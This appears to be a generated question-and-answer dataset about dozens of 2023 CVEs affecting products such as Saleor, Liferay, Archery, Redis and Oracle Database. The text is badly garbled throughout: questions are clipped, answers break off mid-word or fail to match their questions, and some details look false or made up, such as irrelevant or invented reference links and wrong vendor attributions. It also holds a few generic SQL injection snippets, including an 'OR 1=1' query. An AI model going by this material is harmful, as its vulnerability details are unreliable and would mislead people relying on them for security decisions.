What type CVE-2023-2111 is an SQL injection vulnerability. This type of vulnerability occurs when an attacker can manipulate database queries.

Who can Exploit CVE-2023-2111 can be exploited by administrators in a multi-site configuration. Multi-site installations are more vulnerable due to shared resources.

Has CVE-2023-2111 As of the published date, CVE-2023-2111 has not been assigned a CVSS base score. This could indicate that the issue is still under investigation.

Where can More information about CVE-2023-2111 can be found in the vulnerability database at WPSec.

What are Possible attack scenarios for CVE-2023-2111 involve an administrator in a WordPress multi-site installation performing malicious actions on behalf of other sites.

Can you provide an example While the specific code that leads to CVE-2023-2111 is not provided, a general example of how SQL injection works is as follows:

```
String query = "SELECT * FROM users WHERE username = '" + user_input + "'";
```

What systems affected by CVE-2023-32694 are those running Saleor Core with the Adyen plugin installed.

What could By exploiting CVE-2023-32694, an attacker could potentially determine the secret HMAC key used for payment processing.

Has CVE-2023-32694 Yes, CVE-2023-32694 has been patched in multiple versions of Saleor Core. The issue has been fixed in version 3.5.1.

Where can The patch for CVE-2023-32694 can be found on Saleor's official GitHub repository. You can review the commit message for details.

What is CVE-2023-32694 is a security vulnerability stemming from a timing attack against the `validate` function.

Can you provide an example Certainly, here's a hypothetical example of susceptible pseudocode that might lead to vulnerability:

```
function validateInput($input) {
    $valid = true;
    for ($i = 0; $i < strlen($input); $i++) {
        if ($input[$i] >= 0x41 && $input[$i] <= 0x5A) { // ASCII A-Z
            continue;
        } else {
            $valid = false;
            break;
        }
    }
    return $valid;
}
```

How should System administrators should promptly upgrade their Saleor Core installations to one of the patched versions.

What is CVE-2023-32694 was published on 25 May 2023.

What attack scenario facilitated by the vulnerability in CVE-2023-32694 could involve a malicious actor attempting to bypass validation checks.

What is CVE-2023-33796 refers to a vulnerability in Netbox v3.5.1, where unauthenticated attackers can cause a denial of service.

How serious The severity of CVE-2023-33796 has not been assigned a Base Score which suggests that the issue is still under investigation.

What defense The vendor disputes the issue reported in CVE-2023-33796, stating that the reporter's question is irrelevant.

Are there examples No specific code examples have been provided for CVE-2023-33796. Code examples would be helpful for understanding the exploit.

Where can Additional details on CVE-2023-33796 can be found in the references provided: on GitHub and in the vendor's documentation.

What could In a possible attack scenario involving CVE-2023-33796, an attacker might craft and send crafted network traffic to trigger the vulnerability.

What is the The CVE ID for the SQL injection vulnerability found in Liferay Portal and Liferay DXP is CVE-2023-33945.

Which version CVE-2023-33945 affects Liferay Portal 7.3.1 through 7.4.3.17, and Liferay DXP 7.3 before update 2023-05-24.

How can an attacker An attacker can exploit the vulnerability in CVE-2023-33945 by executing arbitrary SQL commands.

Can you mitigate Exploiting CVE-2023-33945 is more difficult because it requires a combination of attacks. The attacker needs to find both the SQL injection and the privilege escalation vulnerabilities.

Was there No Base Score was assigned to CVE-2023-33945 at the time of its publication.

On what date CVE-2023-33945 was published on 24 May 2023.

Could you provide an example An example attack scenario for CVE-2023-33945 may involve an attacker who has previous knowledge of the system and uses it to exploit the vulnerability.

Where can More information about CVE-2023-33945 can be found on the Liferay developer website, specifically the security section.

What is CVE CVE-2023-2863 is a security vulnerability that was identified in the Simple Design Daily Journal application.

What type CVE-2023-2863 is described as a problematic vulnerability. However, without a specific exploit, it is difficult to categorize it as high risk.

How can CVE-2023-2863 be exploited by an attacker who has access to the local host where the application runs.

Has the exploit Yes, the exploit for CVE-2023-2863 has been disclosed to the public. This means that information about the exploit is available online.

Where can More information and references about CVE-2023-2863 can be found on the following URL: [link]

Could you provide a potential attack scenario A potential attack scenario for CVE-2023-2863 could involve a malicious app or a user with administrative privileges using the exploit to gain unauthorized access.

What was CVE-2023-2863 was published on 24 May 2023.

What is CVE CVE-2023-32697 refers to a security vulnerability identified in the SQLite JDBC library, which is used by Java applications to interact with SQLite databases.

Which versions of SQLite JDBC affected by CVE-2023-32697 range from 3.6.14.1 through 3.41. How was CVE-2023-32697 mitigated with the release of SQLite JDBC version 3.41.2.2, which corrects this issue? Where can More information about the fixes for CVE-2023-32697 can be found on the GitHub release notes?

What was the base score for CVE-2023-32697 has not been specified or provided in the available information.

When was CVE-2023-32697 was published on May 23, 2023.

What kind of vulnerability is CVE-2023-32697 is a remote code execution vulnerability within the SQLite JDBC library. A

Is there an exploit available? Due to security best practices, we don't provide code examples for exploiting vulnerabilities.

What are potential attack scenarios for CVE-2023-32697 could include an attacker sending an email with a malicious link.

What is the CVE ID for the Cross-Site Request Forgery vulnerability found in the Younes JFR. Advanced Database Cleaner plugin?

Can you describe the Cross-Site Request Forgery (CSRF) vulnerability identified by CVE-2022-46813 refers to?

Has a base score assigned. As of the latest information available, no base score has been allocated to CVE-2022-46813.

When was the CSRF vulnerability in Younes JFR. Advanced Database Cleaner plugin carrying the identified?

Where can More information or a detailed report about the CVE-2022-46813 vulnerability can be found?

What are possible attack scenarios for the CSRF vulnerability identified by CVE-2022-46813 include a user clicking on a malicious link.

What steps should users take? Users of the Younes JFR. Advanced Database Cleaner plugin should upgrade to the latest version.

What is CVE-2022-47984 is a security vulnerability identified in IBM InfoSphere Information Server.

How can an attacker exploit CVE-2022-47984 by sending specially crafted SQL statements to the database?

What are the consequences of a successful SQL injection attack leveraging CVE-2022-47984 can have severe implications, such as data loss or system compromise.

On what date was CVE-2022-47984 was published on 19 May 2023.

Are there any references or links to external sources? Yes, more information about CVE-2022-47984 can be found through the following reference links.

What is the IBM X-Force ID associated with CVE-2022-47984 is 243163.

Is there a fix available? While the provided information does not specify a particular fix or mitigation, typically IBM provides patches for known vulnerabilities.

What is CVE-2023-32680 refers to a security flaw in Metabase, an open-source business analytics engine.

How does it work? CVE-2023-32680 allows users, including those in sandboxed groups, to edit SQL snippets without proper validation.

What versions are affected? The vulnerability CVE-2023-32680 affected versions of Metabase prior to the following patch.

What are the recommended actions? Users affected by CVE-2023-32680 are advised to upgrade to the Metabase versions 0.46.3 or later.

Where can I find more detailed information about CVE-2023-32680 in the security advisories archive?

Could you provide an example of a possible attack scenario for CVE-2023-32680 would involve a user who has been sandboxed.

Was there a Base Score assigned to CVE-2023-32680 in the information provided at the time it was discovered?

When was CVE-2023-32680 was published on May 18, 2023.

What is CVE-2023-20110 is a security vulnerability that was identified in the web-based management interface.

How can an attacker exploit CVE-2023-20110 by first authenticating to the Cisco SSM On-Premises device.

What could happen if CVE-2023-20110 is successfully exploited, the attacker could be able to read sensitive data.

When was CVE-2023-20110 was published on 18 May 2023.

What is the CVSS base score for CVE-2023-20110 has not been provided or is not available.

Where can Additional information and security advisories about CVE-2023-20110 can be located on Cisco's website.

Can you provide an exploit code example? While an exact exploit code example for CVE-2023-20110 is not provided, a generic example is available online.

What are possible attack scenarios for CVE-2023-20110 might include an attacker gaining access to the device via a network connection.

What is CVE-2023-31135 refers to a security vulnerability in Dgraph, an open source distributed graph database.

How can an attacker mitigate CVE-2023-31135, users of Dgraph should upgrade to version v23.0.0, where the vulnerability is fixed.

What versions are affected? All versions of Dgraph prior to v23.0.0 are affected by CVE-2023-31135.

What requirements are needed to exploit CVE-2023-31135, an attacker must have access to the system where the Dgraph instance is running.

What is the consequence of a nonce collision, as seen in CVE-2023-31135, can lead to the repeated use of the same nonce.

When was CVE-2023-31135 was published on 17 May 2023.

Where can More information about CVE-2023-31135 can be found in the security advisory on GitHub
Can you pr An attack scenario for CVE-2023-31135 could involve an attacker who has gained unauthorized access to the system.
What is CV CVE-2023-31702 is a security vulnerability identified in the MicroWorld eScan Management Console.
How sever As the Base Score has not been provided for CVE-2023-31702, the severity cannot be quantified.
When was CVE-2023-31702 was published on 17 May 2023.

What syste CVE-2023-31702 affects the MicroWorld eScan Management Console, specifically version 1.0.0.
What type CVE-2023-31702 enables a SQL injection attack, which could allow attackers to manipulate data.
What are s Possible attack scenarios for CVE-2023-31702 include a remote attacker sending crafted SQL queries to the system.
Where can Further information about CVE-2023-31702 can be found at the following URLs:- <http://packetstormsecurity.net/files/165447/cve-2023-31702.html>
What migh For CVE-2023-31702, an example of a malicious SQL query exploiting the SQL injection vulnerability is: SELECT * FROM users WHERE username = 'admin' OR 1=1;
What is CV CVE-2023-29927 refers to a security vulnerability found in versions of Sage 300 up to and including 6.22.3.
What kind CVE-2023-29927 addresses a security flaw in Sage 300 where role-based access controls are bypassed.
Which Sag The most at risk configurations for the CVE-2023-29927 vulnerability are 'Windows Peer-to-Peer' and 'File and Print'.
Could you i A potential attack scenario for CVE-2023-29927 involves a low-privileged Sage 300 user on a network.
What actio An attacker exploiting the CVE-2023-29927 vulnerability can recover SQL connection string.
When was The CVE-2023-29927 vulnerability was published on the 16th of May 2023.

Where can Additional information about CVE-2023-29927 can be found in the security advisory published by the vendor.
Has a base As of the information provided, there is no base score assigned to CVE-2023-29927. The attack vector is 'Network' and the complexity is 'Low'.
What does CVE-2023-31131 refers to a security vulnerability in Greenplum Database (GPDB), an open source PostgreSQL database system.
Which vers CVE-2023-31131 affects all versions of Greenplum Database prior to 6.22.3. Users of these databases are advised to upgrade to a fixed version.
What is th The impact of CVE-2023-31131 on a system includes the potential for an attacker to exploit it via a SQL injection attack.
Is there a v There are no known workarounds for CVE-2023-31131. The recommended solution is to upgrade to a fixed version.
How can C To mitigate CVE-2023-31131, users should upgrade their Greenplum Database to version 6.22.3 or later.
Can you pr An example of an attack exploiting CVE-2023-31131 would involve an attacker crafting a malicious SQL query.
Where can More information about CVE-2023-31131 can be found on the official GitHub commit and pull request.
When was The CVE-2023-31131 was published on 15 May 2023.

What is CV CVE-2023-32308 refers to a security vulnerability identified in Anuko Time Tracker, an open source time tracking application.
How does i The vulnerability CVE-2023-32308 exposes users to SQL injection attacks. Attackers could execute arbitrary SQL commands on the system.
What versi CVE-2023-32308 affects Anuko Time Tracker versions prior to 1.22.11.5781. It is recommended to upgrade to a fixed version.
How can u For users unable to upgrade to a fixed version, the recommended mitigation for CVE-2023-32308 is to use a different application.
What is th Users affected by CVE-2023-32308 are advised to upgrade Anuko Time Tracker to version 1.22.11.5781 or later.
Can you pr An example attack scenario exploiting CVE-2023-32308 might involve an attacker sending a malicious URL to a user.
Where can Users can find more information about the resolution of CVE-2023-32308 in the official security advisory.
What is th The impact of CVE-2023-32308 on the affected system includes potential threats to confidentiality and integrity.
What is CV CVE-2023-32306 refers to a security vulnerability in Time Tracker, an open source time tracking application.
How does i The vulnerability in CVE-2023-32306 manifests as a time-based blind SQL injection, which could be used to extract sensitive information.
What versi CVE-2023-32306 affects all versions of Time Tracker prior to 1.22.13.5792. Any installation of this version is at risk.
How can C The mitigation for CVE-2023-32306 involves updating Time Tracker to version 1.22.13.5792 or later.
What is th If an attacker successfully exploits CVE-2023-32306, they could potentially access sensitive information stored in the database.
Where can More information on CVE-2023-32306 can be found on GitHub at the following link: <https://github.com/anukotimetracker/anuko-time-tracker/pull/100>.
When was The CVE-2023-32306 advisory was published on 12 May 2023. This is the date when the vulnerability was first reported.
Can you pr An example of a time-based blind SQL injection attack, which could be relevant to CVE-2023-32306 is: SELECT * FROM users WHERE password = 'password' AND 1=1;
What is CV CVE-2023-32305 is a security vulnerability relating to the aiven-extras PostgreSQL extension.
Which vers CVE-2023-32305 affects all versions of aiven-extras prior to 1.1.9.

What type CVE-2023-32305 allows for a privilege escalation vulnerability, letting a low privileged user execute elevated commands? How does CVE-2023-32305 exploit this vulnerability? How has this issue been corrected in version 1.1.9 of the aiven-exposure PostgreSQL extension? What are some potential attack scenarios for CVE-2023-32305? Where can more information and updates regarding CVE-2023-32305 be found in the advisory published by the National Vulnerability Database? What is the Base Score for CVE-2023-32305? When was CVE-2023-32305 published?

What is CVE-2023-1934? CVE-2023-1934 is a critical unauthenticated error-based PostgreSQL Injection vulnerability. How does CVE-2023-1934 affect systems? It affects systems by exposing them to unauthorized database access, which can be exploited by malicious actors. In which product is CVE-2023-1934 present? CVE-2023-1934 is present in the 'hitlogcsv.jsp' endpoint of the PnPSCADA system. This specific vulnerability is part of the Hitachi Logicsuite product. What can happen if CVE-2023-1934 is exploited? By exploiting CVE-2023-1934, malicious actors can gain unauthorized access to sensitive data stored in the database. What are the references for CVE-2023-1934? More information about CVE-2023-1934 can be found through the following references: 'https://www.cvedetails.com/cve/5634/' and 'https://www.cvedetails.com/cve/5635/'. Can you provide an attack scenario for CVE-2023-1934? An attack scenario for CVE-2023-1934 could involve an attacker sending a crafted request to the 'hitlogcsv.jsp' endpoint to extract sensitive data from the database.

What is CVE-2022-47880? CVE-2022-47880 refers to an Information disclosure vulnerability found in the /be/rpc.php file of the Jedox software. Which version of the software is affected? The vulnerability designated as CVE-2022-47880 affects Jedox version 2020.2.5. How can CVE-2022-47880 be exploited? The CVE-2022-47880 vulnerability can be exploited by remote, authenticated users who have access to the /be/rpc.php endpoint. On what date was CVE-2022-47880 published? The CVE-2022-47880 was published on May 12, 2023.

Are there any known mitigations for CVE-2022-47880? Yes, more information about CVE-2022-47880 can be found at Jedox's official website (<http://www.jedox.com>). What kind of users are affected by CVE-2022-47880? Authenticated users with permissions to modify database connections are capable of exploiting this vulnerability. What is the impact of CVE-2022-47880? The impact of CVE-2022-47880 is significant as it can lead to information disclosure. Specifically, it allows attackers to read sensitive data from the database. What are potential attack scenarios for CVE-2022-47880? A potential attack scenario for CVE-2022-47880 could involve a malicious actor who has obtained valid credentials and used them to query sensitive data from the database. What is CVE-2023-29195? CVE-2023-29195 is a vulnerability associated with Vitess, a database clustering system for Google Cloud. How does CVE-2023-29195 affect Vitess? CVE-2023-29195 affects Vitess by allowing users to create shards with slashes ('/') using VQL. Which versions of Vitess are affected? Versions prior to 16.0.2 are affected by CVE-2023-29195. The issue has been fixed in later versions. What is the workaround for CVE-2023-29195? Several workarounds are suggested for CVE-2023-29195: 1) Always use 'vtctldclient' to create shards instead of VQL. 2) Use a specific VQL query to prevent shard creation with slashes. What was the fix applied in Vitess 16.0.2? The fix applied in Vitess 16.0.2 for CVE-2023-29195 included a patch that addressed the issue of shard creation with slashes. Are there any references available for CVE-2023-29195? Yes, there are several references available for CVE-2023-29195, including a commit on GitHub (<https://github.com/vitessio/vitess/commit/16.0.2>). What might happen if CVE-2023-29195 is exploited? A possible attack scenario for CVE-2023-29195 could involve an attacker with access to the database creating shards that trigger the vulnerability. Can you provide an example of code that triggers CVE-2023-29195? While exact code examples for creating a shard that triggers CVE-2023-29195 might not be publicly available, the vulnerability is triggered by shard names containing slashes ('/'). What is CVE-2023-31150? CVE-2023-31150 is a security vulnerability identified in the Schweitzer Engineering Laboratories Real-Time Automation (SEL) Service Bulletin.

What kind of vulnerability is CVE-2023-31150? CVE-2023-31150 is associated with a vulnerability where passwords are stored in a recoverable format. Are there any specific attack scenarios for CVE-2023-31150? While specific attack scenarios for CVE-2023-31150 are not detailed, a common scenario would involve an attacker gaining access to the password database. Where can more details about the CVE-2023-31150 vulnerability be found? More details about the CVE-2023-31150 vulnerability can be found in the SEL Service Bulletin (<https://www.sel.com/documents/2023-05-10-CVE-2023-31150.pdf>). What is the publication date of CVE-2023-31150? The CVE-2023-31150 was published on 10 May 2023.

Has a base score been assigned to CVE-2023-31150? As of the provided information, there is no Base Score available for CVE-2023-31150. What are the impacts of CVE-2023-31150? CVE-2023-31150 impacts the Schweitzer Engineering Laboratories Real-Time Automation (SEL) Service Bulletin. What is CVE-2023-32569? CVE-2023-32569 is a security vulnerability found in Veritas InfoScale Operations Manager (VIOM). Which version of VIOM is affected by CVE-2023-32569? CVE-2023-32569 affects Veritas InfoScale Operations Manager (VIOM) before 7.4.2.800 and later versions. What is the exploitability of CVE-2023-32569? To exploit the vulnerability referred to by CVE-2023-32569, an attacker must have administrative privileges on the affected system. What kind of attacks are possible with CVE-2023-32569? The CVE-2023-32569 vulnerability allows for SQL Injection attacks, which could enable an attacker to execute arbitrary SQL queries on the database.

On what date was CVE-2023-32569 published? CVE-2023-32569 was published on 10 May 2023. Where can more information about CVE-2023-32569 be found? More information about CVE-2023-32569 can be found at the Veritas official security advisories (<https://www.veritas.com/security-advisories>). What is CVE-2023-0514? CVE-2023-0514 is a security vulnerability found in the Membership Database of WordPress. When was CVE-2023-0514 published? CVE-2023-0514 was published on 08 May 2023.

When was CVE-2022-47874 published on May 2, 2023.

What function does CVE-2022-47874 exploit?

Are there any references to CVE-2022-47874 in public URLs?

What could be a possible attack scenario for CVE-2022-47874?

What is CVE-2022-41400?

Which Sage 300 versions are affected by this vulnerability?

What type of information is encrypted with the vulnerability?

How was CVE-2022-41400 published?

What are potential attack scenarios for CVE-2022-41400?

Is there a specific code example for exploiting CVE-2022-41400?

What is CVE-2022-41399?

How does CVE-2022-41399 affect Sage 300's Web Screens feature?

What could happen if an attacker exploits CVE-2022-41399?

Has CVE-2022-41399 been assigned a base score?

Where can additional information about Sage 300 be found?

What are potential attack scenarios for CVE-2022-41399?

What is CVE-2022-41397?

Which Sage 300 software versions is CVE-2022-41397 present in?

What kind of encryption is used in CVE-2022-41397?

What is the risk associated with the hardcoded key in CVE-2022-41397?

What should users do to patch Sage 300?

What are potential attack scenarios for CVE-2022-41397?

Has CVE-2022-41397 been published?

What is CVE-2022-38583?

What type of impact does CVE-2022-38583 have on Sage 300 installations?

What action can be taken to exploit CVE-2022-38583?

When was CVE-2022-38583 published?

Where can more information about CVE-2022-38583 be found?

What access level is required for exploiting CVE-2022-38583?

Discuss a potential attack scenario for CVE-2022-38583.

What is CVE-2023-26567?

How does CVE-2023-26567 expose sensitive information?

What systems are affected by CVE-2023-26567?

When was CVE-2023-26567 published?

Possible attack scenarios for CVE-2023-26567.

More information about CVE-2023-26567.

Is there a base score for CVE-2023-26567?

What is CVE-2023-30546?

How can CVE-2023-30546 be exploited?

The impact of CVE-2023-30546.

Has CVE-2023-30546 been patched?

If an immediate upgrade is not possible, what should be done?

What version of Contiki-NG is affected by CVE-2023-30546?

More information about CVE-2023-30546.

What is CV CVE-2023-29257 is a security vulnerability identified in IBM Db2 for Linux, UNIX, and Windows. Which versions of IBM Db2 affected by CVE-2023-29257 are 10.5, 11.1, and 11.5.

What type CVE-2023-29257 is classified as a remote code execution vulnerability.

What can happen By exploiting CVE-2023-29257, a database administrator of one database could potentially

Are there references Yes, there are several references for more information on CVE-2023-29257: IBM X-Force and

What is the The base score for CVE-2023-29257 was not provided in the informational description. It can

What is the CVE-2023-29257 was published on 26 April 2023.

Could you provide A possible attack scenario for CVE-2023-29257 could involve a malicious database administrator.

What is the The CVE ID associated with the PrestaShop SQL filtering vulnerability is CVE-2023-30839.

Which versions of PrestaShop affected by CVE-2023-30839 are versions prior to 8.0.4 and 1.7

What kind of vulnerability CVE-2023-30839 involves a SQL filtering vulnerability which enables a Back Office (BO) user

How has it been resolved The issue identified in CVE-2023-30839 has been resolved by PrestaShop in versions 8.0.4 and 1.7

Are there workarounds According to the information available, there are no known workarounds for the vulnerability.

When was it published The vulnerability CVE-2023-30839 was published on 25 April 2023.

What are the possible attack scenarios Possible attack scenarios for CVE-2023-30839 include an attacker with Back Office access executing SQL queries.

Where can I find more information More information and patches for CVE-2023-30839 can be found on GitHub by visiting the repository.

What is the CVE ID of the vulnerability The CVE ID of the vulnerability related to the sandboxing issue in Odoo is CVE-2021-23186.

Which versions of Odoo are affected Odoo Community 15.0 and earlier, as well as Odoo Enterprise 15.0 and earlier, are affected.

What type of vulnerability Authenticated administrators are able to exploit the vulnerability identified by CVE-2021-23186.

What actions can be taken An attacker exploiting CVE-2021-23186 can access and modify the contents of the database.

What is the published date The published date for CVE-2021-23186 is 25 April 2023.

Could you provide references Yes, references for CVE-2021-23186 include: - <https://github.com/odoo/odoo/issues/10768>

Can you describe the attack scenario A possible attack scenario for CVE-2021-23186 involves an authenticated administrator executing a specific SQL query.

Is there a base score No, there is no Base Score available for CVE-2021-23186 as mentioned in the vulnerability report.

What is the CV What is CV CVE-2023-30545 is a security vulnerability found in PrestaShop, an Open Source e-commerce platform.

In which versions of PrestaShop was it found The vulnerability CVE-2023-30545 was found in versions of PrestaShop prior to 8.0.4 and 1.7.

How can it be mitigated The CVE-2023-30545 vulnerability can be mitigated by updating PrestaShop to version 8.0.4 or 1.7.

What is the impact The impact of CVE-2023-30545 is significant as it allowed users with certain privileges to execute arbitrary SQL queries.

Can you provide examples Although specific code examples of the exploitation are not provided, an attacker who has access to the database can execute harmful SQL commands.

What are the possible attack scenarios Possible attack scenarios for CVE-2023-30545 include an attacker with access to the SQL Management interface.

Where can I find more information More information and updates about CVE-2023-30545 can be found in the PrestaShop GitHub repository.

What is the CV CVE-2023-30776 refers to a security vulnerability where an authenticated user with specific permissions can execute arbitrary SQL queries.

Which versions of Apache Superset are affected Apache Superset versions 1.3.0 up to 2.0.1 are affected by CVE-2023-30776.

What can an attacker do Using CVE-2023-30776, an attacker who is an authenticated user with specific permissions can execute arbitrary SQL queries.

Where can I find more information More information about CVE-2023-30776 can be found at the following references: - <http://www.apache.org/licenses/LICENSE-2.0>

When was it published CVE-2023-30776 was published on 24 April 2023.

What is the base score As of the provided information, the base score of CVE-2023-30776 is not available (N/A).

Could you provide an attack scenario A possible attack scenario involving CVE-2023-30776 would be as follows: An attacker first authenticates themselves and then executes a specific SQL query.

What type of vulnerability CVE-2023-23753 identifies a SQL Injection vulnerability found in the 'Visforms Base Package' extension.

How is it exploited The SQL Injection vulnerability in CVE-2023-23753 is exploited through the use of concatenation.

What is the impact The impact of CVE-2023-23753 on a website using the vulnerable extension could be significant.

What is the published date CVE-2023-23753 was published on 23 April 2023.

Where can I find more information More information regarding CVE-2023-23753 can be found at the following resources: - <http://www.apache.org/licenses/LICENSE-2.0>

What are the possible attack scenarios An example of an SQL Injection attack related to CVE-2023-23753 could involve an attacker concatenating user input directly into a SQL query.

How can C' Mitigation of CVE-2023-23753 can involve applying security updates or patches provided b
What makes CVE-2023-23753 is a critical issue for websites because it compromises the integrity, config
Are there a Possible attack scenarios for exploiting CVE-2023-23753 might involve an attacker submitt
What is CV CVE-2023-30605 is a known vulnerability in the Archery open source SQL audit platform. T
Which met The methods affected by CVE-2023-30605 are `set_variable` and `get_variables` in both `sc
How can C' CVE-2023-30605 can be mitigated by escaping user input or using prepared statements wh
Was there Yes, there was a security advisory indexed as GHSL-2022-104 and it can be found on the Gi
What are t The vulnerabilities detailed in CVE-2023-30605 could allow an attacker to perform SQL inj
What type CVE-2023-30605 is classified as a set of SQL injection vulnerabilities. A potential attack sce
What is the CVE-2023-30605 was published on 19 April 2023.

Where can The official report and the affected source code for CVE-2023-30605 can be found at the fc
What coul An example of vulnerable code as described in CVE-2023-30605 could look like this:

What is CV CVE-2023-30558 refers to multiple SQL injection vulnerabilities discovered in the Archery p
Which com CVE-2023-30558 specifically affects methods within the Archery project code that deal wit
Can you pr Sure, a vulnerable code snippet based on the information provided in CVE-2023-30558 mig
How can t The SQL injection vulnerabilities in CVE-2023-30558 can be mitigated by adopting safer co
Has CVE-20 As of the published date of 19 April 2023, CVE-2023-30558 does not have a base score assi
Are there a Yes, more information about CVE-2023-30558 can be found in the security advisory postec
What are t Potential attack scenarios for CVE-2023-30558 include cases where an attacker can send m
What is CV CVE-2023-30557 refers to a collection of SQL injection vulnerabilities discovered in the Arc
Which com The vulnerabilities in CVE-2023-30557 affect the `data_dictionary.py` component and its re
How can t To mitigate the vulnerabilities described in CVE-2023-30557, user input should be properly
Can you gi Certainly. A code example reflecting the vulnerability described in CVE-2023-30557 would l
What are t For CVE-2023-30557, a potential attack scenario would involve an attacker crafting malicio
Where can More detailed information about CVE-2023-30557 can be found at the following reference:
What is the The Archery SQL injection issue related to CVE-2023-30557 is also indexed as `GHSL-2022-
What is CV CVE-2023-30556 refers to a set of SQL injection vulnerabilities in the Archery project, whic
Which com The component affected by CVE-2023-30556 is the `optimize_sqltuningadvisor` method of
How does t CVE-2023-30556 permits an attacker to exploit the system by injecting malicious SQL into t
What are t To mitigate CVE-2023-30556, users should escape any variables accepted via user input us
Can you pr CVE-2023-30556 was published on 19 April 2023.

Are there a Yes, more details about CVE-2023-30556 can be found in the security advisory at <https://gi>
What is an An example of a possible attack scenario for CVE-2023-30556 involves an attacker crafting
Can you gi Certainly, an attacker could submit a request to the vulnerable application with a payload :
What is CV CVE-2023-30555 refers to a vulnerability in the Archery SQL audit platform. It contains mu
Which Arc The specific affected versions of the Archery project have not been mentioned in the CVE-:
How does t The vulnerability in CVE-2023-30555 occurs when user input from the `db_name` paramet
Which files The files directly related to the SQL injection vulnerability in CVE-2023-30555 are `sql_opti
What code As an example, if the user input for `db_name` in the `explain` method was not sanitized, tl
What mitig To mitigate the vulnerabilities described in CVE-2023-30555, the user input should be prop
What are p Potential attack scenarios for CVE-2023-30555 include an attacker exploiting the SQL inject
Where can More information about the security advisory related to CVE-2023-30555 can be found at t
How is CVE CVE-2023-30555 is also indexed as `GHSL-2022-108`. This index reference corresponds to t
What is CV CVE-2023-30554 is a vulnerability in the Archery open source SQL audit platform. This vuln

How can CVE-2023-30554 vulnerability can be mitigated by either escaping user input to prevent SQL injection?

What is the published date for CVE-2023-30554?

Where can More information about the CVE-2023-30554 vulnerability can be found in the Archery project?

What file affects the `ExecuteCheck` endpoint in the `sql_api/api_workflow.py` file?

Can you give a specific code example? While a specific code example is not provided, a general representation of an SQL injection attack:

What attack With the CVE-2023-30554 vulnerability, an attacker could potentially carry out the following:

What is the CVE ID for the vulnerability?

Which component CVE-2023-30553 affects the `sql_api/api_workflow.py` endpoint `ExecuteCheck` in the Archery project?

What type of CVE-2023-30553 details multiple SQL injection vulnerabilities within the Archery project?

How can an attacker exploit the vulnerabilities mentioned in CVE-2023-30553 by injecting malicious SQL code?

Can you provide the exact code snippet from the vulnerable application, generated by the Archery project?

What mitigation To mitigate the issues described in CVE-2023-30553, it is recommended to escape user input.

What are the potential consequences of successfully exploiting CVE-2023-30553 could include unauthorized access to sensitive data.

Has a CVE-2023-30553 As per the provided information, there is no Base Score assigned to CVE-2023-30553 at this time.

When was CVE-2023-30553 published on 19 April 2023.

Where can More information or an advisory about CVE-2023-30553 can be found at the following URL:

What is the CVE ID associated with the SQL injection vulnerabilities in the Archery SQL audit platform?

Which endpoint The `sql/instance.py` endpoint's `describe` method is affected by the SQL injection vulnerability?

What are the vulnerable methods in different SQL engine implementations concerning CVE-2023-30553?

How can it be mitigated? The SQL injection vulnerability in CVE-2023-30552 can be mitigated by escaping user input.

What are the parameter values involved in the SQL injection vulnerability associated with CVE-2023-30552?

Can you provide An example of a possible attack scenario exploiting the vulnerability in CVE-2023-30552 without revealing sensitive information?

When was CVE-2023-30552 published on 19 April 2023.

Where can More information about CVE-2023-30552 can be found on the GitHub security advisory page?

What does the CVE-2023-30552 vulnerability allow an attacker to query the connected databases by sending crafted requests?

Is there a base score? No Base Score is provided for the CVE-2023-30552 vulnerability in the information given.

What is the CVSS score? CVE-2023-28856 is a vulnerability in Redis, an open-source in-memory database, where an attacker can exploit it.

Which versions are affected? Versions prior to 7.0.11, 6.2.12, and 6.0.19 of Redis are affected by CVE-2023-28856.

What are the versions? The issue CVE-2023-28856 in Redis has been addressed in versions 7.0.11, 6.2.12, and 6.0.19.

Are there workarounds? There are no known workarounds for CVE-2023-28856. The recommended course of action is to upgrade to a fixed version.

How severe is the vulnerability? The base score for CVE-2023-28856 has not been provided, so the severity cannot be determined.

When was CVE-2023-28856 published on 18 April 2023.

Can you provide an attack scenario? An attack scenario for CVE-2023-28856 may involve a malicious authenticated user sending crafted requests to Redis.

Is there an exploit available? While there is no specific example code provided for CVE-2023-28856, the vulnerability is known to be exploitable.

Where can I find more technical details? You can find more technical details about CVE-2023-28856 at the following resources: the GitHub repository and the official Redis documentation.

What is the CVE ID? The CVE ID of the vulnerability is CVE-2023-21934.

Which versions are affected? The versions of Oracle Database Server affected by CVE-2023-21934 are 19c and 21c.

What type of privilege is required? A low privileged attacker with a User Account privilege is required to exploit CVE-2023-21934.

What kind of attack is used? Network access via TLS is required to exploit the vulnerability CVE-2023-21934.

What is the CVSS score? The CVSS 3.1 Base Score of CVE-2023-21934 is 6.8.

What are the impacts? Successful attacks on CVE-2023-21934 can result in unauthorized creation, deletion, or modification of data.

When was CVE-2023-21934 published on 18 April 2023.

Where can More information about CVE-2023-21934 can be found at the following Oracle Security Alert:

What are the CVSS vectors? According to its CVSS vector (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N), CVE-2023-21934 has a CVSS score of 6.8.

Can you di: A possible attack scenario for CVE-2023-21934 could involve a low privileged attacker who What is CV CVE-2023-21918 is a security vulnerability identified in the Oracle Database Recovery Man Which vers The versions of Oracle Database Server affected by CVE-2023-21918 are 19c and 21c.

What privil An attacker would need to have high privileged access, specifically Local SYSDBA privileges

What is the Successful exploitation of CVE-2023-21918 can result in unauthorized actions that could ca

What is the The CVSS 3.1 Base Score for CVE-2023-21918 is given as 6.8, with the score reflecting the p

What is the The CVSS Vector for CVE-2023-21918 is (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H).

When was CVE-2023-21918 was published on April 18, 2023.

Where can More information about CVE-2023-21918 can be found on Oracle's official security alert pa

Can you pr A possible attack scenario for CVE-2023-21918 could involve an insider or an attacker who

Are there a It's not typical practice to provide code examples for exploiting vulnerabilities due to the p

What is the The CVE ID for the Incorrect Authorization vulnerability in Apache IoTDB is CVE-2023-3077

Which com The iotdb-web-workbench component, which is an optional web console of the database, i

As of whic The Incorrect Authorization vulnerability outlined by CVE-2023-30771 in Apache IoTDB's ic

When was CVE-2023-30771 was published on 17 April 2023.

Where can More information about CVE-2023-30771 can be found at the following links: [What coul A possible attack scenario for CVE-2023-30771 could involve an unauthorized attacker gair](http://www.</p></div><div data-bbox=)

Is there a E No, there is no Base Score provided for CVE-2023-30771 as of the known published inform

What is CV CVE-2023-29193 is a vulnerability in SpiceDB, an open source, Google Zanzibar-inspired da

How does !CVE-2023-29193 may affect SpiceDB deployments if the metrics port is exposed to an untr

